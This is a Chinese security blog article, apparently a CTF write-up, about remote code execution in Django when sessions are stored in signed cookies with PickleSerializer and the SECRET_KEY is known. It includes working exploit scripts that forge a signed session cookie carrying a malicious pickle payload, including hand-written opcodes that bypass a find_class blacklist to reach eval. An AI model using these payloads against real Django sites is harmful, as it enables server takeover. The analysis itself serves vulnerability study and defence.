由Django-Session配置引发的反序列化安全问题

admin 2026-03-06 19:16:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入分析了Django框架因Session配置不当导致的反序列化RCE漏洞。核心成因在于使用signed_cookies存储Session且配合PickleSerializer进行序列化。若SECRET_KEY泄露,攻击者可伪造签名Cookie,植入恶意Pickle字节码,服务端解析时触发__reduce__执行任意命令。文章结合源码调试剖析了签名校验与反序列化调用链,并演示了绕过find_class沙盒限制的利用方式。建议禁用PickleSerializer或严格保护密钥以规避风险。 综合评分: 88 文章分类: 漏洞分析,代码审计,WEB安全,实战经验


cover_image

由Django-Session配置引发的反序列化安全问题

蚁景网安

2026年3月5日 16:30 湖南

以下文章来源于蚁景网络安全 ,作者icfh

蚁景网络安全 .

致力于为你带来更实用的网络安全技术内容!

漏洞成因

漏洞成因位于目标配置文件settings.py下

关于这两个配置项

SESSION_ENGINE:

在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。

SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:

  1. 1. 数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。
  2. 2. 缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
  3. 3. 文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。
  4. 4. 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。
  5. 5. 缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。

SESSION_SERIALIZER:

SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。

通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:

  1. 1. **’django.contrib.sessions.serializers.JSONSerializer’**:使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。
  2. 2. **’django.contrib.sessions.serializers.PickleSerializer’**:使用Python标准库中的pickle模块来序列化和反序列化会话数据。

那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。

紧接着看看Django中的/core/signing模块:(Django==2.2.5)

主要看看函数参数即可

key:验签中的密钥

serializer:指定序列化和反序列化类

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
    """
    Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
    None, use settings.SECRET_KEY instead.

    If compress is True (not the default), check if compressing using zlib can
    save some space. Prepend a '.' to signify compression. This is included
    in the signature, to protect against zip bombs.

    Salt can be used to namespace the hash, so that a signed string is
    only valid for a given namespace. Leaving this at the default
    value or re-using a salt value across different parts of your
    application without good cause is a security risk.

    The serializer is expected to return a bytestring.
    """
    data = serializer().dumps(obj)  # 使用选定的类进行序列化

    # Flag for if it's been compressed or not
    is_compressed = False

    # 数据压缩处理
    if compress:
        # Avoid zlib dependency unless compress is being used
        compressed = zlib.compress(data)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;iflen(compressed) < (len(data) -&nbsp;1):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = compressed
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; is_compressed =&nbsp;True
&nbsp; &nbsp; base64d = b64_encode(data).decode() &nbsp;&nbsp;# base64编码 decode转化成字符串
&nbsp; &nbsp;&nbsp;if&nbsp;is_compressed:
&nbsp; &nbsp; &nbsp; &nbsp; base64d =&nbsp;'.'&nbsp;+ base64d
&nbsp; &nbsp;&nbsp;return&nbsp;TimestampSigner(key, salt=salt).sign(base64d)&nbsp;# 返回一个签名值

# loads的过程为dumps的逆过程
defloads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; Reverse of dumps(), raise BadSignature if signature fails.

&nbsp; &nbsp; The serializer is expected to accept a bytestring.
&nbsp; &nbsp; """
&nbsp; &nbsp;&nbsp;# TimestampSigner.unsign() returns str but base64 and zlib compression
&nbsp; &nbsp;&nbsp;# operate on bytes.
&nbsp; &nbsp; base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
&nbsp; &nbsp; decompress = base64d[:1] ==&nbsp;b'.'
&nbsp; &nbsp;&nbsp;if&nbsp;decompress:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# It's compressed; uncompress it first
&nbsp; &nbsp; &nbsp; &nbsp; base64d = base64d[1:]
&nbsp; &nbsp; data = b64_decode(base64d)
&nbsp; &nbsp;&nbsp;if&nbsp;decompress:
&nbsp; &nbsp; &nbsp; &nbsp; data = zlib.decompress(data)
&nbsp; &nbsp;&nbsp;return&nbsp;serializer().loads(data)

看看两个签名的类:

在Signer类中中:

class&nbsp;Signer:

&nbsp; &nbsp;&nbsp;def__init__(self, key=None, sep=':', salt=None):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Use of native strings in all versions of Python
&nbsp; &nbsp; &nbsp; &nbsp; self.key = key&nbsp;or&nbsp;settings.SECRET_KEY&nbsp;# key默认为settings中的配置项
&nbsp; &nbsp; &nbsp; &nbsp; self.sep = sep
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;_SEP_UNSAFE.match(self.sep):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;ValueError(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Unsafe Signer separator: %r (cannot be empty or consist of '
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'only A-z0-9-_=)'&nbsp;% sep,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; self.salt = salt&nbsp;or'%s.%s'&nbsp;% (self.__class__.__module__, self.__class__.__name__)

&nbsp; &nbsp;&nbsp;defsignature(self, value):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 利用salt、value、key做一次签名
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;base64_hmac(self.salt +&nbsp;'signer', value, self.key)

&nbsp; &nbsp;&nbsp;defsign(self, value):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return'%s%s%s'&nbsp;% (value, self.sep, self.signature(value))

&nbsp; &nbsp;&nbsp;defunsign(self, signed_value):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;self.sep&nbsp;notin&nbsp;signed_value:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;BadSignature('No "%s" found in value'&nbsp;% self.sep)
&nbsp; &nbsp; &nbsp; &nbsp; value, sig = signed_value.rsplit(self.sep,&nbsp;1)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;constant_time_compare(sig, self.signature(value)):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;value
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;BadSignature('Signature "%s" does not match'&nbsp;% sig)

还有一个是时间戳的验签部分

class&nbsp;TimestampSigner(Signer):

&nbsp; &nbsp;&nbsp;deftimestamp(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;baseconv.base62.encode(int(time.time()))

&nbsp; &nbsp;&nbsp;defsign(self, value):
&nbsp; &nbsp; &nbsp; &nbsp; value =&nbsp;'%s%s%s'&nbsp;% (value, self.sep, self.timestamp())
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnsuper().sign(value)

&nbsp; &nbsp;&nbsp;defunsign(self, value, max_age=None):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; Retrieve original value and check it wasn't signed more
&nbsp; &nbsp; &nbsp; &nbsp; than max_age seconds ago.
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;super().unsign(value)
&nbsp; &nbsp; &nbsp; &nbsp; value, timestamp = result.rsplit(self.sep,&nbsp;1)
&nbsp; &nbsp; &nbsp; &nbsp; timestamp = baseconv.base62.decode(timestamp)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;max_age&nbsp;isnotNone:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifisinstance(max_age, datetime.timedelta):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; max_age = max_age.total_seconds()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Check timestamp is not older than max_age
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; age = time.time() - timestamp
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;age > max_age:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;SignatureExpired(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Signature age %s > %s seconds'&nbsp;% (age, max_age))
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;value

时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较

漏洞调试

我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)

  • • 老惯例,先看栈帧

django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求

  • • AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份

  • • 随后调用Django auth模块下的get_user函数和_get_user_session_key函数

  • • 随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化

  • • loads函数中的操作

首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码

最后扔入pickle进行字节码解析

漏洞利用

首先利用条件如下:

以cookie方式存储session,实现了交互。

以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE

EXP如下:

import&nbsp;os
import&nbsp;django.core.signing
import&nbsp;requests

# from Django.contrib.sessions.serializers.PickleSerializer
import&nbsp;pickle
classPickleSerializer:
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; Simple wrapper around pickle to be used in signing.dumps and
&nbsp; &nbsp; signing.loads.
&nbsp; &nbsp; """
&nbsp; &nbsp; protocol = pickle.HIGHEST_PROTOCOL

&nbsp; &nbsp;&nbsp;defdumps(self, obj):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;pickle.dumps(obj, self.protocol)

&nbsp; &nbsp;&nbsp;defloads(self, data):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;pickle.loads(data)

SECRET_KEY =&nbsp;'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt =&nbsp;"django.contrib.sessions.backends.signed_cookies"

classexp():
&nbsp; &nbsp;&nbsp;def__reduce__(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 返回一个callable 及其参数的元组
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;os.system, (('calc.exe'),)

_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)

resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

Code-Breaking-Django调试

这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

find_class沙盒逃逸

关于find_class:

简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义

import&nbsp;pickle
import&nbsp;io
import&nbsp;builtins

__all__ = ('PickleSerializer', )

classRestrictedUnpickler(pickle.Unpickler):
&nbsp; &nbsp; blacklist = {'eval',&nbsp;'exec',&nbsp;'execfile',&nbsp;'compile',&nbsp;'open',&nbsp;'input',&nbsp;'__import__',&nbsp;'exit'}

&nbsp; &nbsp;&nbsp;deffind_class(self, module, name): &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Only allow safe classes from builtins.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;module ==&nbsp;"builtins"and&nbsp;name&nbsp;notin&nbsp;self.blacklist: &nbsp; &nbsp; &nbsp; &nbsp;# 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returngetattr(builtins, name)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Forbid everything else.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;pickle.UnpicklingError("global '%s.%s' is forbidden"&nbsp;%
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(module, name))

classPickleSerializer():
&nbsp; &nbsp;&nbsp;defdumps(self, obj):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;pickle.dumps(obj)

&nbsp; &nbsp;&nbsp;defloads(self, data):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 校验data是否为字符串
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifisinstance(data,&nbsp;str):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;TypeError("Can't load pickle from unicode string")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; file = io.BytesIO(data) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 读取data
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{}

第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法

class&nbsp;Person:
&nbsp; &nbsp; &nbsp;def__init__(self, name):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;self.name = name

# 获取对象属性值
person = Person("Alice")
name =&nbsp;getattr(person,&nbsp;"name")
print(name)

# 调用对象方法
a =&nbsp;getattr(builtins,&nbsp;"eval")
a("print(1+1)")

# 可以设置default值
age =&nbsp;getattr(person,&nbsp;"age",&nbsp;30)
print(age)

builtins.getattr(builtins,&nbsp;"eval")("print(1+1)")

那么同理,也可以通过getattr调用eval

加载上下文:由于后端在实现时,import了一些包

(这部分包的上下文可以使用globals()函数获得)

所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等

getattr = GLOBAL('builtins', 'getattr') &nbsp;# GLOBAL为导入
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__') &nbsp; # 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return

查看Django.core.signing模块,复刻sign写exp

from&nbsp;django.core&nbsp;import&nbsp;signing
import&nbsp;pickle
import&nbsp;io
import&nbsp;builtins
import&nbsp;zlib
import&nbsp;base64

PayloadToBeEncoded =&nbsp;b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'

SECURE_KEY =&nbsp;"p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt =&nbsp;"django.contrib.sessions.backends.signed_cookies"

defb64_encode(s):
&nbsp; &nbsp;&nbsp;return&nbsp;base64.urlsafe_b64encode(s).strip(b"=")

base64d = b64_encode(PayloadToBeEncoded).decode()

defexp(key, payload):
&nbsp; &nbsp;&nbsp;global&nbsp;salt
&nbsp; &nbsp;&nbsp;# Flag for if it's been compressed or not.
&nbsp; &nbsp; is_compressed =&nbsp;False
&nbsp; &nbsp; compress =&nbsp;False
&nbsp; &nbsp;&nbsp;if&nbsp;compress:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Avoid zlib dependency unless compress is being used.
&nbsp; &nbsp; &nbsp; &nbsp; compressed = zlib.compress(payload)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;iflen(compressed) < (len(payload) -&nbsp;1):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload = compressed
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; is_compressed =&nbsp;True
&nbsp; &nbsp; base64d = b64_encode(payload).decode()
&nbsp; &nbsp;&nbsp;if&nbsp;is_compressed:
&nbsp; &nbsp; &nbsp; &nbsp; base64d =&nbsp;"."&nbsp;+ base64d
&nbsp; &nbsp; session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
&nbsp; &nbsp;&nbsp;print(session)

然后传session即可

学习网安实战课程,戳“阅读原文”


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蚁景网安 《由Django-Session配置引发的反序列化安全问题》

ssti挑战——有奖金 网络安全文章

ssti挑战——有奖金

文章总结: 本文发布了一个SSTI漏洞挑战赛,作者提供了测试环境链接及源码,要求绕过修复实现getshell。赛事设置奖金,第一名500元,截止下周四。作者指出
【专题征稿】硬件安全 网络安全文章

【专题征稿】硬件安全

文章总结: 《网络与信息安全学报》发布硬件安全专题征稿启事,背景涉及集成电路供应链与物理攻击风险,征稿方向涵盖硬件安全原语、密码硬件实现、微体系结构安全及侧信道
评论:0   参与:  0